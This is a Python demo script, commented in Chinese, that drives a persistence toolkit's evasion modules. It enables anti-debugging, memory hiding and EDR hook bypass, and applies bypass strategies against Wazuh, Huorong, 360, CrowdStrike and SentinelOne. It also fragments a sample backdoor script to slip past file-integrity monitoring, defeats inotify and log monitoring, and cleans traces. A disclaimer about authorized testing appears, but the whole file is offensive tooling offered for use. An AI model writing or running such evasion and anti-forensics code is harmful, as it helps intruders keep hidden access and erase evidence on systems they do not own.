#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
对抗性深化功能演示脚本

本脚本演示了权限维持工具的对抗性深化功能，包括：
1. EDR绕过技术
2. FIM反制机制
3. Linux主流EDR优化
4. 集成对抗流程

使用方法:
    python3 demo_adversarial_evasion.py
    sudo python3 demo_adversarial_evasion.py  # 启用更多功能
"""

import sys
import os
import time
import platform
import tempfile
import shutil
from typing import Dict, Any

# 添加项目路径
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))

try:
    from modules.evasion.edr_bypass import AdvancedEDRBypass
    from modules.evasion.fim_counter import FIMCounterEngine
    from modules.evasion.linux_edr_optimizer import LinuxEDROptimizer, EDRVendor
    MODULES_AVAILABLE = True
except ImportError as e:
    print(f"⚠️ 对抗性模块导入失败: {e}")
    print("请确保模块文件存在并且路径正确")
    MODULES_AVAILABLE = False

def print_banner():
    """打印横幅"""
    banner = """
╔══════════════════════════════════════════════════════════════╗
║                    对抗性深化功能演示                          ║
║                 Adversarial Evasion Demo                    ║
╠══════════════════════════════════════════════════════════════╣
║  功能包括:                                                    ║
║  • EDR绕过 (反调试、内存清理、syscall规避)                     ║
║  • FIM反制 (文件分片、inotify绕过、日志反制)                   ║
║  • Linux EDR优化 (Wazuh、火绒、360等)                        ║
╚══════════════════════════════════════════════════════════════╝
    """
    print(banner)

def print_section(title: str):
    """打印章节标题"""
    print(f"\\n{'='*60}")
    print(f"  {title}")
    print(f"{'='*60}")

def print_subsection(title: str):
    """打印子章节标题"""
    print(f"\\n--- {title} ---")

def demo_edr_bypass():
    """演示EDR绕过功能"""
    print_section("🛡️ EDR绕过技术演示")
    
    if not MODULES_AVAILABLE:
        print("❌ EDR绕过模块不可用")
        return False
    
    try:
        # 初始化EDR绕过引擎
        print("📋 初始化EDR绕过引擎...")
        edr_bypass = AdvancedEDRBypass()
        print(f"   ✅ 引擎初始化完成 (平台: {edr_bypass.platform})")
        
        # 获取基础状态
        print_subsection("基础状态检查")
        status = edr_bypass.get_bypass_status()
        print(f"   平台: {status['platform']}")
        print(f"   时间戳: {status['timestamp']}")
        print(f"   检测到的EDR: {status.get('detected_edrs', [])}")
        
        # 检测EDR厂商
        print_subsection("EDR厂商检测")
        edr_detection = edr_bypass.detect_edr_vendor()
        if edr_detection['success']:
            print(f"   检测到的EDR: {edr_detection.get('detected_vendors', [])}")
        else:
            print("   未检测到已知EDR产品")
        
        # 反调试保护 (需要Linux和root权限)
        if platform.system() == "Linux":
            print_subsection("反调试保护")
            protection_result = edr_bypass.enable_anti_debug_protection()
            if protection_result['success']:
                print("   ✅ 反调试保护已启用")
                print(f"   启用的方法: {list(protection_result.get('methods', {}).keys())}")
            else:
                print(f"   ⚠️ 反调试保护启用失败: {protection_result.get('error', '未知错误')}")
        
        # 内存保护演示
        print_subsection("内存保护")
        memory_result = edr_bypass.enable_memory_protection()
        if memory_result['success']:
            print("   ✅ 内存保护已启用")
            print(f"   保护方法: {list(memory_result.get('methods', {}).keys())}")
        else:
            print(f"   ⚠️ 内存保护启用失败: {memory_result.get('error', '未知错误')}")
        
        # EDR钩子绕过 (仅Linux)
        if platform.system() == "Linux":
            print_subsection("EDR钩子绕过")
            hook_result = edr_bypass.bypass_edr_hooks()
            if hook_result['success']:
                print("   ✅ EDR钩子绕过已启用")
                print(f"   绕过方法: {list(hook_result.get('methods', {}).keys())}")
            else:
                print(f"   ⚠️ EDR钩子绕过失败: {hook_result.get('error', '未知错误')}")
        
        return True
        
    except Exception as e:
        print(f"❌ EDR绕过演示失败: {e}")
        return False

def demo_fim_counter():
    """演示FIM反制功能"""
    print_section("📁 FIM反制技术演示")
    
    if not MODULES_AVAILABLE:
        print("❌ FIM反制模块不可用")
        return False
    
    temp_dir = None
    try:
        # 初始化FIM反制引擎
        print("📋 初始化FIM反制引擎...")
        fim_counter = FIMCounterEngine()
        print(f"   ✅ 引擎初始化完成 (平台: {fim_counter.platform})")
        
        # 创建临时目录
        temp_dir = tempfile.mkdtemp(prefix="fim_demo_")
        print(f"   📁 临时目录: {temp_dir}")
        
        # 获取基础状态
        print_subsection("FIM系统检测")
        status = fim_counter.get_fim_status()
        print(f"   检测到的FIM系统: {status['detected_fim_systems']}")
        print(f"   隐蔽路径数量: {status['stealth_paths_count']}")
        
        # 恶意代码分片演示
        print_subsection("恶意代码分片存储")
        demo_payload = b"""#!/bin/bash
# Demo backdoor payload
echo "Backdoor activated at $(date)"
whoami > /tmp/backdoor_log.txt
"""
        fragment_result = fim_counter.fragment_malicious_code(demo_payload, temp_dir)
        if fragment_result['success']:
            print(f"   ✅ 代码已分为 {fragment_result['total_fragments']} 个片段")
            print(f"   片段路径: {fragment_result['fragment_paths'][:3]}...")  # 只显示前3个
            
            # 代码重组演示
            print_subsection("代码重组")
            fragment_ids = list(fim_counter.file_fragments.keys())
            reassembled = fim_counter.reassemble_code(fragment_ids)
            if reassembled:
                print("   ✅ 代码重组成功")
                print(f"   重组大小: {len(reassembled)} 字节")
                if reassembled == demo_payload:
                    print("   ✅ 重组数据完整性验证通过")
        
        # inotify绕过演示 (仅Linux)
        if platform.system() == "Linux":
            print_subsection("inotify监控绕过")
            test_file = os.path.join(temp_dir, "test_monitored_file.txt")
            with open(test_file, 'w') as f:
                f.write("test content")
            
            bypass_result = fim_counter.bypass_inotify_monitoring(test_file)
            if bypass_result['success']:
                print(f"   ✅ 已绕过对 {test_file} 的inotify监控")
            else:
                print(f"   ⚠️ inotify绕过失败: {bypass_result.get('error', '未知错误')}")
        
        # 日志反制演示
        print_subsection("日志监控反制")
        log_result = fim_counter.counter_log_monitoring()
        if log_result['success']:
            print("   ✅ 日志反制措施已启用:")
            for method, details in log_result['methods'].items():
                print(f"      • {method}: {details}")
        
        # 痕迹清理
        print_subsection("痕迹清理")
        cleanup_result = fim_counter.cleanup_traces()
        if cleanup_result['success']:
            print(f"   ✅ 已清理 {cleanup_result['total_cleaned']} 个痕迹项目")
            if 'cleaned_items' in cleanup_result and cleanup_result['cleaned_items']:
                print("   清理的项目:")
                for item in cleanup_result['cleaned_items'][:5]:  # 只显示前5个
                    print(f"      • {item}")
                if len(cleanup_result['cleaned_items']) > 5:
                    print(f"      • ... 还有 {len(cleanup_result['cleaned_items']) - 5} 个项目")
        
        return True
        
    except Exception as e:
        print(f"❌ FIM反制演示失败: {e}")
        return False
    
    finally:
        # 清理临时目录
        if temp_dir and os.path.exists(temp_dir):
            try:
                shutil.rmtree(temp_dir)
                print(f"   🧹 已清理临时目录: {temp_dir}")
            except Exception as e:
                print(f"   ⚠️ 临时目录清理失败: {e}")

def demo_linux_edr_optimizer():
    """演示Linux EDR优化功能"""
    print_section("🐧 Linux EDR优化演示")
    
    if not MODULES_AVAILABLE:
        print("❌ Linux EDR优化模块不可用")
        return False
    
    try:
        # 初始化EDR优化器
        print("📋 初始化Linux EDR优化器...")
        edr_optimizer = LinuxEDROptimizer()
        print(f"   ✅ 优化器初始化完成 (平台: {edr_optimizer.platform})")
        
        # 获取优化状态
        print_subsection("EDR检测状态")
        status = edr_optimizer.get_optimization_status()
        print(f"   检测到的EDR: {status['detected_edrs']}")
        print(f"   可用策略数量: {status['available_strategies']}")
        
        # 显示支持的EDR产品
        print_subsection("支持的EDR产品")
        supported_edrs = {
            EDRVendor.WAZUH: "Wazuh (开源SIEM/EDR)",
            EDRVendor.HUORONG: "火绒企业版",
            EDRVendor.QIHOO360: "360终端安全",
            EDRVendor.CROWDSTRIKE: "CrowdStrike Falcon",
            EDRVendor.SENTINELONE: "SentinelOne"
        }
        
        for vendor, description in supported_edrs.items():
            if vendor in edr_optimizer.bypass_strategies:
                strategies = edr_optimizer.bypass_strategies[vendor]
                if isinstance(strategies, list):
                    print(f"   ✅ {description}: {len(strategies)} 个绕过策略")
                else:
                    print(f"   ⚪ {description}: 策略配置异常")
            else:
                print(f"   ⚪ {description}: 暂无策略")
        
        # 模拟EDR检测
        print_subsection("EDR检测模拟")
        if not edr_optimizer.detected_edrs:
            print("   ℹ️ 当前环境未检测到已知EDR产品")
            print("   🔍 模拟检测Wazuh...")
            # 手动添加用于演示
            edr_optimizer.detected_edrs.append(EDRVendor.WAZUH)
            print("   ✅ 模拟检测到Wazuh")
        
        # 应用优化策略
        print_subsection("应用优化策略")
        opt_result = edr_optimizer.apply_optimizations()
        if opt_result['success']:
            print(f"   ✅ 已应用 {opt_result['active_bypasses']} 个绕过策略")
            
            # 显示详细结果
            for edr, results_list in opt_result['results'].items():
                print(f"   📋 {edr} EDR优化结果:")
                for result in results_list:
                    status_icon = "✅" if result['success'] else "❌"
                    print(f"      {status_icon} {result['strategy_name']}: {'成功' if result['success'] else '失败'}")
                    if not result['success'] and 'error' in result:
                        print(f"         错误: {result['error']}")
        
        # 显示Wazuh特定策略 (如果检测到)
        if EDRVendor.WAZUH in edr_optimizer.detected_edrs:
            print_subsection("Wazuh专项优化")
            wazuh_strategies = edr_optimizer.bypass_strategies.get(EDRVendor.WAZUH, [])
            for strategy in wazuh_strategies:
                print(f"   📋 策略: {strategy.name}")
                print(f"      描述: {strategy.description}")
                print(f"      方法: {strategy.method.value}")
        
        return True
        
    except Exception as e:
        print(f"❌ Linux EDR优化演示失败: {e}")
        return False

def demo_integrated_evasion():
    """演示集成对抗流程"""
    print_section("🔄 集成对抗流程演示")
    
    if not MODULES_AVAILABLE:
        print("❌ 对抗性模块不可用")
        return False
    
    try:
        print("📋 初始化所有对抗引擎...")
        
        # 初始化所有引擎
        edr_bypass = AdvancedEDRBypass()
        fim_counter = FIMCounterEngine()
        edr_optimizer = LinuxEDROptimizer()
        
        print("   ✅ 所有引擎初始化完成")
        
        # 协调对抗流程
        print_subsection("协调对抗执行")
        
        # 1. 环境检测
        print("   🔍 1. 环境安全检测...")
        debug_result = edr_bypass.enable_anti_debug_protection()
        if debug_result['success']:
            print("      ✅ 反调试保护已启用")
        else:
            print("      ⚠️ 反调试保护启用失败")
        
        # 2. EDR检测和优化
        print("   🛡️ 2. EDR检测和优化...")
        edr_vendor_result = edr_bypass.detect_edr_vendor()
        if edr_vendor_result['detected_vendors']:
            print(f"      🔍 检测到EDR: {edr_vendor_result['detected_vendors']}")
        else:
            print("      ℹ️ 未检测到已知EDR")
        
        edr_status = edr_optimizer.get_optimization_status()
        if edr_status['detected_edrs']:
            opt_result = edr_optimizer.apply_optimizations()
            if opt_result['success']:
                print(f"      ✅ 已应用 {opt_result['active_bypasses']} 个优化")
        
        # 3. 内存保护
        print("   🧠 3. 内存保护措施...")
        protection_result = edr_bypass.enable_memory_protection()
        if protection_result['success']:
            print("      ✅ 内存保护已启用")
        
        # 4. EDR钩子绕过
        print("   🔐 4. EDR钩子绕过...")
        hook_result = edr_bypass.bypass_edr_hooks()
        if hook_result['success']:
            print(f"      ✅ EDR钩子绕过已启用")
        
        # 5. FIM反制
        print("   📁 5. FIM反制措施...")
        fim_status = fim_counter.get_fim_status()
        if fim_status['detected_fim_systems']:
            print(f"      🔍 检测到FIM: {fim_status['detected_fim_systems']}")
            log_result = fim_counter.counter_log_monitoring()
            if log_result['success']:
                print("      ✅ 日志反制已启用")
        
        # 6. 性能监控
        print("   📊 6. 性能影响评估...")
        start_time = time.time()
        
        # 执行一些操作来测试性能
        for i in range(3):
            edr_bypass.get_bypass_status()
            fim_counter.get_fim_status()
            edr_optimizer.get_optimization_status()
        
        end_time = time.time()
        print(f"      ⏱️ 状态检查耗时: {(end_time - start_time)*1000:.2f}ms")
        
        print("\\n🎉 集成对抗流程执行完成!")
        return True
        
    except Exception as e:
        print(f"❌ 集成对抗流程失败: {e}")
        return False

def show_system_info():
    """显示系统信息"""
    print_section("💻 系统环境信息")
    
    print(f"   操作系统: {platform.system()} {platform.release()}")
    print(f"   Python版本: {platform.python_version()}")
    print(f"   架构: {platform.machine()}")
    
    # 获取用户名 (跨平台兼容)
    username = os.getenv('USER') or os.getenv('USERNAME') or 'unknown'
    print(f"   当前用户: {username}")
    
    # 检查管理员权限 (跨平台兼容)
    try:
        if platform.system() == "Windows":
            import ctypes
            is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
            print(f"   管理员权限: {'是' if is_admin else '否'}")
        else:
            is_root = os.geteuid() == 0
            print(f"   是否root: {'是' if is_root else '否'}")
    except (AttributeError, ImportError):
        print(f"   权限检查: 不支持当前平台")
    
    print(f"   工作目录: {os.getcwd()}")

def show_security_warnings():
    """显示安全警告"""
    print_section("⚠️ 安全警告和免责声明")
    
    warnings = [
        "本演示仅用于授权的安全测试和研究目的",
        "使用前请确保获得适当的法律授权",
        "在生产环境使用前请充分测试",
        "某些功能需要root权限，请谨慎使用",
        "建议在隔离的虚拟环境中进行测试",
        "开发者不对任何滥用行为承担责任"
    ]
    
    for i, warning in enumerate(warnings, 1):
        print(f"   {i}. {warning}")

def main():
    """主函数"""
    print_banner()
    
    # 显示系统信息
    show_system_info()
    
    # 显示安全警告
    show_security_warnings()
    
    if not MODULES_AVAILABLE:
        print("\n❌ 对抗性模块不可用，演示无法继续")
        print("请检查模块文件是否存在并且路径正确")
        return False
    
    # 检查是否为非交互模式
    import sys
    if not sys.stdin.isatty():
        print("\n检测到非交互模式，自动继续演示...")
        user_confirmed = True
    else:
        # 用户确认
        print("\n" + "="*60)
        try:
            response = input("是否继续演示? (y/N): ").strip().lower()
            user_confirmed = response in ['y', 'yes', '是']
        except (EOFError, KeyboardInterrupt):
            print("\n演示已取消")
            return False
    
    if not user_confirmed:
        print("演示已取消")
        return False
    
    # 执行演示
    results = {}
    
    # EDR绕过演示
    results['edr_bypass'] = demo_edr_bypass()
    
    # FIM反制演示
    results['fim_counter'] = demo_fim_counter()
    
    # Linux EDR优化演示
    results['edr_optimizer'] = demo_linux_edr_optimizer()
    
    # 集成对抗演示
    results['integrated'] = demo_integrated_evasion()
    
    # 显示总结
    print_section("📋 演示结果总结")
    
    for demo_name, success in results.items():
        status_icon = "✅" if success else "❌"
        demo_display_name = {
            'edr_bypass': 'EDR绕过',
            'fim_counter': 'FIM反制',
            'edr_optimizer': 'Linux EDR优化',
            'integrated': '集成对抗流程'
        }.get(demo_name, demo_name)
        
        print(f"   {status_icon} {demo_display_name}: {'成功' if success else '失败'}")
    
    success_count = sum(results.values())
    total_count = len(results)
    
    print(f"\\n🎯 总体结果: {success_count}/{total_count} 个演示成功")
    
    if success_count == total_count:
        print("🎉 所有演示均成功完成!")
    elif success_count > 0:
        print("⚠️ 部分演示成功，请检查失败的模块")
    else:
        print("❌ 所有演示均失败，请检查环境配置")
    
    return success_count > 0

if __name__ == "__main__":
    try:
        success = main()
        sys.exit(0 if success else 1)
    except KeyboardInterrupt:
        print("\\n\\n⚠️ 演示被用户中断")
        sys.exit(1)
    except Exception as e:
        print(f"\\n❌ 演示过程中发生未预期的错误: {e}")
        sys.exit(1)